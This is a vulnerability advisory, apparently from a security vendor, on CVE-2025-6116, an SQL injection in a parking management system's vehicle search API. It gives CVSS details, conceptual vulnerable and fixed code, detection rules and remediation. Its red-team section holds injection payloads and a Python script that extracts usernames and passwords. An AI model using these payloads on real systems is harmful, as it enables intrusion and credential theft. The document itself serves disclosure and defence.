CVE-2025-6116

Executive Summary

CVE-2025-6116 is a critical SQL injection vulnerability discovered in the Das Parking Management System (停车场管理系统) version 6.2.0. The flaw resides in the /IntraFieldVehicle/Search API endpoint, where the Value argument is not properly sanitized before being used in a database query. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete system compromise. The vulnerability has been publicly disclosed, and no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details increases the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via destructive queries.

Threat Level: High. The combination of remote exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a critical risk for any organization using this software.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /IntraFieldVehicle/Search API endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied Value parameter without proper sanitization or parameterized queries. For example, a request like:

GET /IntraFieldVehicle/Search?Value=1' OR '1'='1

Could result in a query such as:

SELECT * FROM vehicles WHERE field = '1' OR '1'='1'

This would return all records from the table, bypassing intended filters. More sophisticated payloads could be used to extract data from other tables, execute system commands (if the database supports it), or perform blind SQL injection to enumerate the database schema.

The API endpoint is likely used for searching vehicle records within the parking management system. The lack of input validation allows an attacker to inject arbitrary SQL, making this a high-severity issue.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example vulnerable Python/Flask code
@app.route('/IntraFieldVehicle/Search')
def search_vehicle():
    value = request.args.get('Value')
    query = f"SELECT * FROM vehicles WHERE field = '{value}'"
    result = db.execute(query)
    return jsonify(result)

Patched Code (Conceptual):

# Example patched code using parameterized queries
@app.route('/IntraFieldVehicle/Search')
def search_vehicle():
    value = request.args.get('Value')
    query = "SELECT * FROM vehicles WHERE field = ?"
    result = db.execute(query, (value,))
    return jsonify(result)

The patched version uses a parameterized query (or prepared statement) to ensure the Value argument is treated as data, not executable SQL. This prevents injection. Since no official patch is available, organizations must implement this fix themselves or apply a virtual patch via a WAF.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Das Parking Management System 6.2.0
• Network access to the /IntraFieldVehicle/Search endpoint

Exploit Steps:

1. Identify the endpoint: Use a tool like curl or Burp Suite to send a request to the vulnerable API.
2. Test for injection: Send a simple payload to confirm the vulnerability.

curl "http://target.com/IntraFieldVehicle/Search?Value=1'"

If the response contains an error (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract data: Use UNION-based SQL injection to retrieve data from other tables.

' UNION SELECT null, username, password, null FROM users--

4. Blind injection: If the application does not display errors, use time-based or boolean-based blind injection.

' OR IF(1=1, SLEEP(5), 0)--

Example Exploit Script (Python):

import requests

target = "http://target.com/IntraFieldVehicle/Search"
payload = "' UNION SELECT null, username, password, null FROM users--"
params = {'Value': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor API logs: Look for unusual patterns in the Value parameter, such as single quotes, SQL keywords (UNION, SELECT, SLEEP), or encoded characters.
2. WAF rules: Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.
3. Network monitoring: Use IDS/IPS (e.g., Suricata) to detect SQL injection signatures in HTTP traffic.
4. Honeypot: Deploy a decoy endpoint to attract attackers and gather intelligence.

Response Steps:

1. Isolate the system: If exploitation is detected, immediately isolate the affected server from the network.
2. Analyze logs: Review web server and database logs to determine the extent of the breach.
3. Restore from backup: If data was compromised, restore the database from a clean backup.
4. Apply virtual patch: Use a WAF to block SQL injection attempts until an official patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /IntraFieldVehicle/Search with unusual Value parameters containing SQL keywords or special characters.
• Outbound database connections from the web server to unknown IPs (data exfiltration).
• Unusual database errors in server logs.

File IOCs:

• Modified or new files in the web root directory (e.g., webshells).
• Suspicious entries in database logs indicating unauthorized queries.

Behavioral IOCs:

• Unexpected database queries (e.g., SELECT * FROM users).
• High volume of requests to the vulnerable endpoint.
• Unusual user agent strings or request patterns.

Detection Engineering

YARA Rule

rule CVE_2025_6116_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-6116"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6116"
    strings:
        $sqli1 = "Value="
        $sqli2 = "' OR '1'='1"
        $sqli3 = "UNION SELECT"
        $sqli4 = "SLEEP("
        $sqli5 = "1'"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2025-6116
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /IntraFieldVehicle/Search endpoint
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "Value='"
            - "Value=1'"
            - "Value=' OR"
            - "Value=UNION"
            - "Value=SLEEP"
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6116 SQL Injection Attempt"; flow:to_server; content:"/IntraFieldVehicle/Search"; http_uri; content:"Value="; http_uri; pcre:"/Value=[^&]*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If possible, temporarily disable the /IntraFieldVehicle/Search API endpoint until a patch is applied.
2. Apply virtual patch: Use a WAF to block SQL injection attempts targeting this endpoint.
3. Input validation: Implement strict input validation on the Value parameter, allowing only alphanumeric characters and specific safe characters.

Long-term Fix:

1. Parameterized queries: Rewrite the vulnerable code to use parameterized queries or prepared statements.
2. Update software: Monitor the vendor's website for an official patch and apply it as soon as it becomes available.
3. Security audit: Conduct a full security audit of the application to identify and fix other potential vulnerabilities.

Workaround:

• If the source code is available, manually patch the vulnerability by replacing the vulnerable SQL query with a parameterized version.

Valters IT